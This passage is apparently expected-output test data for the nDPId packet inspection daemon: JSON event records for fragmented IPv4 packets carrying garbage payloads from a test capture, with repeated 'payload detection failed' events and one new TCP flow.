+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1218,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":612230,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiLEAGQ4UKAAACCoAAAiNFVFIlWV5VJkkqT1B7Ijo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1218,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1219,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":612235,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiLkAGQ4MKAAACCoAAAmhkZmxrZGE+TDxNTkJIR0Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1219,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1220,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":612240,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiMEAGQ4EKAAACCoAAAkRFVyNAJCVeSEJHVgo0MjE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1220,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1221,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":612245,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiMkAGQ38KAAACCoAAAjQ2MzE5ODIwNTEpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1221,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1222,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":612249,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiNEAGQ30KAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1222,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1223,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":612254,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiNkAGQ3sKAAACCoAAAnJzZGx1aGdrZmRzYmtudmM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1223,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00384{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1224,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":612259,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiOEAGQ3kKAAACCoAAAi8udGdmdGc\/R1I\/R1I\/c1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1224,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1225,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":612263,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiOkAGQ3cKAAACCoAAAj83NDgzOTYpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1225,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1226,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":612268,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiPEAGQ3UKAAACCoAAAiFAIyQlXiYqKCkoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1226,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1227,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":612277,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiPkAGQ3MKAAACCoAAAiNAIyQlXiYqKComXiUkIyY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1227,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1228,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":612286,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiQEAGQ3EKAAACCoAAAiooS0lKSEdGRDIqJkRGR0g="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1228,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1229,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":612295,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiQkAGQ28KAAACCoAAAkpLJl4lJCMjRVRSJVleVSY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1229,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1230,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":612303,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiREAGQ20KAAACCoAAAkkqT1B7IjpoZGZsa2RhPkw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1230,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1231,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":612308,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiRkAGQ2sKAAACCoAAAjxNTkJIR0ZERVcjQCQlXkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1231,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1232,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":612313,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiSEAGQ2kKAAACCoAAAkJHVgo0MjE0NjMxOTgyMDU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1232,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1233,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":612318,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiSkAGQ2cKAAACCoAAAjEpKComXiUkI0AjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1233,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1234,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":612326,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiTEAGQ2UKAAACCoAAAigqJl4lJCNyc2RsdWhna2Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1234,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1235,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":612331,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiTkAGQ2MKAAACCoAAAmRzYmtudmMvLnRnZnRnP0c="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1235,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00384{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1236,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":612336,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiUEAGQ2EKAAACCoAAAlI\/R1I\/c1I\/NzQ4Mzk2KSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1236,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1237,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":612341,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiUkAGQ18KAAACCoAAAiomXiUkI0AhQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1237,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1238,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":612347,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiVEAGQ10KAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1238,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1239,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":612351,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiVkAGQ1sKAAACCoAAAiomXiUkIyYqKEtJSkhHRkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1239,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1240,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":612356,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiWEAGQ1kKAAACCoAAAjIqJkRGR0hKSyZeJSQjI0U="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1240,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1241,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":612360,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiWkAGQ1cKAAACCoAAAlRSJVleVSZJKk9QeyI6aGQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1241,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1242,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":612365,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiXEAGQ1UKAAACCoAAAmZsa2RhPkw8TU5CSEdGREU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1242,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1243,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":612370,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiXkAGQ1MKAAACCoAAAlcjQCQlXkhCR1YKNDIxNDY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1243,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1244,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":612374,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiYEAGQ1EKAAACCoAAAjMxOTgyMDUxKSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1244,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1245,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":612379,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiYkAGQ08KAAACCoAAAkAjJCVeJiooKiZeJSQjcnM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1245,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1246,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":612384,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiZEAGQ00KAAACCoAAAmRsdWhna2Zkc2JrbnZjLy4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1246,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1247,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":612388,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiZkAGQ0sKAAACCoAAAnRnZnRnP0dSP0dSP3NSPzc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1247,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1248,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":612393,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiaEAGQ0kKAAACCoAAAjQ4Mzk2KSgqJl4lJCNAIUA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1248,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1249,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":612398,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiakAGQ0cKAAACCoAAAiMkJV4mKigpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1249,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1250,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":612403,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAibEAGQ0UKAAACCoAAAiMkJV4mKigqJl4lJCMmKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1250,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1251,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":612408,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAibkAGQ0MKAAACCoAAAktJSkhHRkQyKiZERkdISks="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1251,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00369{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1252,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":612419,"pkt_caplen":42,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":42,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAcAKACcEAGY0kKAAACCoAAAiZeJSQjI0VU"} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1252,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":8} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1253,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":1,"flow_first_seen":1534244025912,"flow_last_seen":0,"flow_tot_l4_data_len":16,"flow_min_l4_data_len":16,"flow_max_l4_data_len":16,"flow_avg_l4_data_len":16,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.2","dst_ip":"10.128.0.2","src_port":21029,"dst_port":22878,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00423{"flow_id":5,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1253,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":912535,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":16,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAEAGRbEKAAACCoAAAlIlWV5VJkkqT1B7IjpoZGY4UAAA"} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1254,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":912559,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAkAGRa8KAAACCoAAAmxrZGE+TDxNTkJIR0ZERVc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1254,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1255,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":912567,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgBEAGRa0KAAACCoAAAiNAJCVeSEJHVgo0MjE0NjM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1255,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1256,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":912575,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgBkAGRasKAAACCoAAAjE5ODIwNTEpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1256,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1257,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":912583,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgCEAGRakKAAACCoAAAiMkJV4mKigqJl4lJCNyc2Q="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1257,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1258,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":912591,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgCkAGRacKAAACCoAAAmx1aGdrZmRzYmtudmMvLnQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1258,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00385{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1259,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":912599,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgDEAGRaUKAAACCoAAAmdmdGc\/R1I\/R1I\/c1I\/NzQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1259,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 